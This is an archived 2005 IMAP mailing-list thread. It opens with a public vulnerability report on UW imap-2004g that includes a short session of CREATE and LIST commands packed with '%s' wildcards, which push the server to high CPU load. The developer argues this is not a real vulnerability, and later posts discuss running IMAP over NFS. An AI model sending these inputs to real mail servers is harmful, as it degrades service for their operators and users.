mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPG3CLL027164 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 25 Nov 2005 08:03:12 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPG3Chf018580; Fri, 25 Nov 2005 08:03:12 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPG2vMh018158 for ; Fri, 25 Nov 2005 08:02:57 -0800 Received: from argus.ritlabs.com (argus.ritlabs.com [195.138.101.49]) by mxe7.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPG2s94031456 for ; Fri, 25 Nov 2005 08:02:55 -0800 Received: from host-212.56.194.245.mldnet.com (host-212.56.194.245.mldnet.com [212.56.194.245]) (authenticated bits=0) by argus.ritlabs.com (8.12.11/8.12.11) with ESMTP id jAPG2gOf002379 (version=TLSv1/SSLv3 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 25 Nov 2005 18:02:43 +0200 Date: Fri, 25 Nov 2005 18:02:48 +0200 From: Igor Tsurcanovsky X-Mailer: The Bat! (v3.0.2.1) Professional X-Priority: 3 (Normal) Message-ID: <958729483.20051125180248@ritlabs.com> To: imap-uw@u.washington.edu MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=X, Probability=10%, Report='LINES_OF_YELLING_3 0.671, __BAT_MSGID 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __LINES_OF_YELLING 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __THEBAT_MUA 0' Subject: [Imap-uw] Vulnerability report. LIST command can cause high server load X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Igor Tsurcanovsky List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Vulnerability report. Product: UW imap-2004g Risk: high Vulnerability type: remote Description: Vulnerability exists due to insufficient checking of LIST command arguments in IMAP service. Effect: Malefactor can cause ~100% processor load on a vulnerable system. Vulnerability usage example: * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS AUTH=PLAIN AUTH=LOGIN] localhost IMAP4rev1 2004.357 at Fri, 25 Nov 2005 15:47:18 +0200 (EET) 0001 login test 1234 0001 OK [CAPABILITY IMAP4REV1 LITERAL+ IDLE NAMESPACE MAILBOX-REFERRALS BINARY UNSELECT SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND] User test authenticated 0002 CREATE "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" 0002 OK CREATE completed 0003 LIST "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s" "%s%s%s%s%s%s%s%s%s%s%s%s%s %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s% s%s%s%s%s%s%s" -- Best regards, Igor mailto:Igor@ritlabs.com _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Nov 25 13:17:02 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 25 Nov 2005 13:17:02 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPLH2wG030492 for ; Fri, 25 Nov 2005 13:17:02 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPLH18S006660 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 25 Nov 2005 13:17:01 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPLGv8v001934 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 25 Nov 2005 13:16:57 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPLGu9T004298; Fri, 25 Nov 2005 13:16:56 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPLGuC1004290 for ; Fri, 25 Nov 2005 13:16:56 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPLGtKQ007485 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 25 Nov 2005 13:16:55 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPLGs96001928 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 25 Nov 2005 13:16:55 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPLGpjK013094 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Fri, 25 Nov 2005 13:16:54 -0800 Date: Fri, 25 Nov 2005 13:16:49 -0800 (PST) From: Mark Crispin To: Igor Tsurcanovsky Subject: Re: [Imap-uw] Vulnerability report. LIST command can cause high server load In-Reply-To: <958729483.20051125180248@ritlabs.com> Message-ID: References: <958729483.20051125180248@ritlabs.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu In general, it is more helpful to send a report of claimed vulnerabilities to the developer privately, prior to a public announcement. It is also helpful to avoid public announcements during national holidays in the developer's country; November 24 and 25 are national holidays in the USA. I have examined your report, and have reproduced the CPU-intensive LIST operation. However, I do not see how this is a "vulnerability". The problem has nothing to do with "%" in the mailbox name, or the "%s" combination. It's the sheer number of wildcards in the pattern. I've been running this LIST for a few hours now. It's quite amusing. The server is progressing in the pattern-matching algorithm on the strings in question. The problem is that the pattern-matching algorithm makes no attempt to optimize large numbers of wildcards (it's effectively doing a very large "Towers of Hanoi") or cancel out cases where the non-wildcard part of the search pattern is longer than the candidate string. There is no "%s" sprintf() issue, or other buffer overflow or improper memory access, that I can see. The system running this CPU-consuming imapd process is otherwise running smoothly with no noticable delays. The schedulers in most operating systems do not allow CPU-intensive tasks to have a substantial impact on the performance of interactive tasks. The imapd is not consuming much memory either. Consequently, as far as I can tell, the principal impact is to the imapd session doing the ridiculous wildcard. If the above is a correct description of the issue, then I do not consider it to be a vulnerability, much less a "high risk" vulnerability. It does not appear to: . allow access to unauthorizated areas of the system . allow execution of arbitrary code . substantially impact system performance Have I missed something? If so, please tell me what it is. I would certainly reconsider my response in light of additional information. As a practical matter, it may be worthwhile to add a limitation on the number of wildcards permitted to something that can be solved in a reasonable amount of time. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Nov 25 14:37:08 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 25 Nov 2005 14:37:08 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPMb8ao001052 for ; Fri, 25 Nov 2005 14:37:08 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPMb7If005070 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 25 Nov 2005 14:37:07 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPMb2oP007374 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 25 Nov 2005 14:37:02 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPMb2ES008556; Fri, 25 Nov 2005 14:37:02 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPMb1Kj008548 for ; Fri, 25 Nov 2005 14:37:01 -0800 Received: from prime.gushi.org (prime.gushi.org [72.9.101.130]) by mxe3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAPMb0PA013701 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 25 Nov 2005 14:37:01 -0800 Received: from prime.gushi.org (danm@localhost.gushi.org [127.0.0.1]) by prime.gushi.org (8.13.4/8.13.4) with ESMTP id jAPMht4E086491 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 25 Nov 2005 17:43:55 -0500 (EST) Received: (from danm@localhost) by prime.gushi.org (8.13.4/8.13.4/Submit) id jAPMhtCm086489; Fri, 25 Nov 2005 17:43:55 -0500 (EST) Date: Fri, 25 Nov 2005 17:43:54 -0500 (EST) From: "Dan Mahoney, System Admin" To: Mark Crispin Subject: Re: [Imap-uw] Vulnerability report. LIST command can cause high server load In-Reply-To: Message-ID: <20051125173938.X41297@prime.gushi.org> References: <958729483.20051125180248@ritlabs.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 25 Nov 2005, Mark Crispin wrote: I routinely keep 5000 messages in my inbox which causes a bit of a stir when I open it (although I only use pine, not imapd). If you don't want the intensive load, then set process limits. (consult the manual for your particular OS). Since it's only a LIST, it's non-destructive if the process is terminated during it. (albeit, if you're limiting on total CPU time it's possible that you could cross over that threshhold sometime AFTER the LIST). The only way I see this as a potential DOS is if there are other services which shut themselves down under high load (sendmail springs to mind). -Dan > In general, it is more helpful to send a report of claimed vulnerabilities to > the developer privately, prior to a public announcement. It is also helpful > to avoid public announcements during national holidays in the developer's > country; November 24 and 25 are national holidays in the USA. > > I have examined your report, and have reproduced the CPU-intensive LIST > operation. However, I do not see how this is a "vulnerability". > > The problem has nothing to do with "%" in the mailbox name, or the "%s" > combination. It's the sheer number of wildcards in the pattern. > > I've been running this LIST for a few hours now. It's quite amusing. The > server is progressing in the pattern-matching algorithm on the strings in > question. > > The problem is that the pattern-matching algorithm makes no attempt to > optimize large numbers of wildcards (it's effectively doing a very large > "Towers of Hanoi") or cancel out cases where the non-wildcard part of the > search pattern is longer than the candidate string. > > There is no "%s" sprintf() issue, or other buffer overflow or improper memory > access, that I can see. The system running this CPU-consuming imapd process > is otherwise running smoothly with no noticable delays. The schedulers in > most operating systems do not allow CPU-intensive tasks to have a substantial > impact on the performance of interactive tasks. The imapd is not consuming > much memory either. > > Consequently, as far as I can tell, the principal impact is to the imapd > session doing the ridiculous wildcard. > > If the above is a correct description of the issue, then I do not consider it > to be a vulnerability, much less a "high risk" vulnerability. It does not > appear to: > . allow access to unauthorizated areas of the system > . allow execution of arbitrary code > . substantially impact system performance > > Have I missed something? If so, please tell me what it is. > > I would certainly reconsider my response in light of additional information. > > As a practical matter, it may be worthwhile to add a limitation on the number > of wildcards permitted to something that can be solved in a reasonable amount > of time. > > -- Mark -- > > http://panda.com/mrc > Democracy is two wolves and a sheep deciding what to eat for lunch. > Liberty is a well-armed sheep contesting the vote. > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw > -- "It's buttery kettle ASS corn!" -Dan Mahoney, Ezzi Computers, 10/22/03, 2AM --------Dan Mahoney-------- Techie, Sysadmin, WebGeek Gushi on efnet/undernet IRC ICQ: 13735144 AIM: LarpGM Site: http://www.gushi.org --------------------------- _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Nov 28 21:46:05 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 28 Nov 2005 21:46:05 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAT5k5uJ028797 for ; Mon, 28 Nov 2005 21:46:05 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAT5k4ke018601 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 28 Nov 2005 21:46:04 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAT5k0Yc017820 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 28 Nov 2005 21:46:00 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAT5k0wm020195; Mon, 28 Nov 2005 21:46:00 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAT5jxBt020187 for ; Mon, 28 Nov 2005 21:45:59 -0800 Received: from staff.cs.usyd.edu.au (staff.cs.usyd.edu.au [129.78.8.1]) by mxe4.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with SMTP id jAT5jNbQ003192 for ; Mon, 28 Nov 2005 21:45:56 -0800 Received: from blade1.cs.usyd.edu.au. [129.78.11.79] by staff.cs.usyd.edu.au.; Tue, 29 Nov 2005 16:45:11 +1100 Date: Tue, 29 Nov 2005 16:45:03 +1100 From: Roy Giles To: imap-uw@u.washington.edu Message-Id: <1133243111.47.1039973322@it.usyd.edu.au> X-Image-Url: http://www.it.usyd.edu.au/faces/au/edu/usyd/it/roy/face.jpg Organization: Sydney University Computer Science MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] imap and NFS X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello, Our mail system resides on a fairly old Sparc machine running Solaris 2.6 which is grinding to a halt; as a start in eventually moving off this machine, we are thinking of moving our unix style mailbox format imap server :- IMAP4rev1 2004.357 on to a Linux box with mail still being delivered by smtp to the Solaris box. Could anyone with experience of running imap over NFS please comment on their experiences pro and con, especially in the realm of locking. Thanks _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Nov 28 23:07:18 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 28 Nov 2005 23:07:18 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAT77Hi9032688 for ; Mon, 28 Nov 2005 23:07:17 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAT77H4n013284 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 28 Nov 2005 23:07:17 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAT77Dim006118 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 28 Nov 2005 23:07:13 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAT77DGd028283; Mon, 28 Nov 2005 23:07:13 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAT77CrY028275 for ; Mon, 28 Nov 2005 23:07:12 -0800 Received: from mx-sanjose2.Cadence.COM (isvw3.Cadence.COM [158.140.2.61]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAT772nJ024326 for ; Mon, 28 Nov 2005 23:07:10 -0800 Received: from mailhub.Cadence.COM (localhost [127.0.0.1]) by mx-sanjose2.Cadence.COM (8.12.9/8.12.9) with ESMTP id jAT76v35026261; Mon, 28 Nov 2005 23:06:57 -0800 (PST) Received: from ghicks-vpn (localhost [127.0.0.1]) by mailhub.Cadence.COM (8.12.8/8.8.5) with SMTP id jAT76uCi018872; Mon, 28 Nov 2005 23:06:57 -0800 (PST) Message-Id: <200511290706.jAT76uCi018872@mailhub.Cadence.COM> Date: Mon, 28 Nov 2005 23:06:57 -0800 (PST) From: Gregory Hicks Subject: Re: [Imap-uw] imap and NFS To: imap-uw@u.washington.edu, roy@it.usyd.edu.au MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: 332gaPMlJBv8w72vM6rPOA== X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.5.7 SunOS 5.9 sun4u sparc X-Received: By mx-sanjose2.Cadence.COM as jAT76v35026261 at Mon Nov 28 23:06:57 2005 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Gregory Hicks List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu > Date: Tue, 29 Nov 2005 16:45:03 +1100 > From: Roy Giles > To: imap-uw@u.washington.edu > Subject: [Imap-uw] imap and NFS > > Hello, > > Our mail system resides on a fairly old Sparc machine running Solaris 2.6 > which is grinding to a halt; as a start in eventually moving off this machine, > we are thinking of moving our unix style mailbox format imap server :- > > IMAP4rev1 2004.357 > > on to a Linux box with mail still being delivered by smtp to the Solaris box. > > Could anyone with experience of running imap over NFS please comment on their > experiences pro and con, especially in the realm of locking. Greetings: Um-m-m-m... What are you going to use NFS for? Allowing the users to mount /var/mail? Allowing the IMAP server to mount /var/mail from the smtp box? I do not believe that NFS provides for sufficient locking... I could be wrong though. Regards, Gregory Hicks --------------------------------------------------------------------- Gregory Hicks | Principal Systems Engineer Cadence Design Systems | Direct: 408.576.3609 555 River Oaks Pkwy M/S 6B1 | Fax: 408.894.3479 San Jose, CA 95134 | Internet: ghicks@cadence.com I am perfectly capable of learning from my mistakes. I will surely learn a great deal today. "A democracy is a sheep and two wolves deciding on what to have for lunch. Freedom is a well armed sheep contesting the results of the decision." - Benjamin Franklin "The best we can hope for concerning the people at large is that they be properly armed." --Alexander Hamilton _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Nov 29 07:55:30 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 29 Nov 2005 07:55:30 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATFtTYX028588 for ; Tue, 29 Nov 2005 07:55:29 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATFtSOY022392 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 29 Nov 2005 07:55:29 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATFtPga021220 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 29 Nov 2005 07:55:25 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATFtPTB021496; Tue, 29 Nov 2005 07:55:25 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATFtNrG021488 for ; Tue, 29 Nov 2005 07:55:23 -0800 Received: from mx0.d.umn.edu (mx0.d.umn.edu [131.212.109.42]) by mxe7.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATFtKD5029383 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 29 Nov 2005 07:55:21 -0800 Received: from mx2.d.umn.edu (mx2.d.umn.edu [131.212.109.37]) by mx0.d.umn.edu (8.12.9/8.12.9) with SMTP id jATFt79l001910; Tue, 29 Nov 2005 09:55:15 -0600 (CST) Received: from smtp.d.umn.edu ([131.212.109.40]) by mx2.d.umn.edu (SAVSMTP 3.1.3.37) with SMTP id M2005112909551502130 ; Tue, 29 Nov 2005 09:55:15 -0600 Received: from borg.d.umn.edu (borg.d.umn.edu [131.212.60.98]) by smtp.d.umn.edu (8.12.9/8.12.9) with ESMTP id jATFsVJu010983 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 29 Nov 2005 09:54:31 -0600 (CST) Received: from localhost (shollatz@localhost) by borg.d.umn.edu (8.12.9/8.12.9) with ESMTP id jATFsUCD005291; Tue, 29 Nov 2005 09:54:31 -0600 (CST) X-Authentication-Warning: borg.d.umn.edu: shollatz owned process doing -bs Date: Tue, 29 Nov 2005 09:54:30 -0600 (CST) From: scott hollatz To: Roy Giles Subject: Re: [Imap-uw] imap and NFS In-Reply-To: <1133243111.47.1039973322@it.usyd.edu.au> Message-ID: References: <1133243111.47.1039973322@it.usyd.edu.au> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu > Our mail system resides on a fairly old Sparc machine running Solaris 2.6 > which is grinding to a halt; as a start in eventually moving off this machine, > we are thinking of moving our unix style mailbox format imap server :- > > IMAP4rev1 2004.357 > > on to a Linux box with mail still being delivered by smtp to the Solaris box. > > Could anyone with experience of running imap over NFS please comment on their > experiences pro and con, especially in the realm of locking. Many years ago we experienced similar problems with NFS. The use of NFS made sense under a simpler email services architecture but begain to fail (i.e., poor IMAP/POP services) as load and user base grew; adding to the problem was increasing the number of IMAP/POP systems and using mbox files (we still do, but that's another issue to be resolved). The solution was to scrap the architecture used for at leat 10 years, and redesign without the need for any NFS anywhere email is involved. I understand NFS 4 mitigates or eliminates the locking issues, but we're not interested anymore... -- scott hollatz net shollatz@d.UMn.eDu information technology systems and services tel +1 218 726 8851 university of minnesota duluth mn usa fax +1 218 726 7674 -- "gabba gabba hey" - the ramones _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Nov 29 08:24:26 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 29 Nov 2005 08:24:26 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATGOQ8q030324 for ; Tue, 29 Nov 2005 08:24:26 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATGOPdM024408 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 29 Nov 2005 08:24:26 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATGOMKi009861 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 29 Nov 2005 08:24:22 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATGOMKa032700; Tue, 29 Nov 2005 08:24:22 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATGOKXh032692 for ; Tue, 29 Nov 2005 08:24:20 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATGOKsb018419 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 29 Nov 2005 08:24:20 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jATGOJdv009847 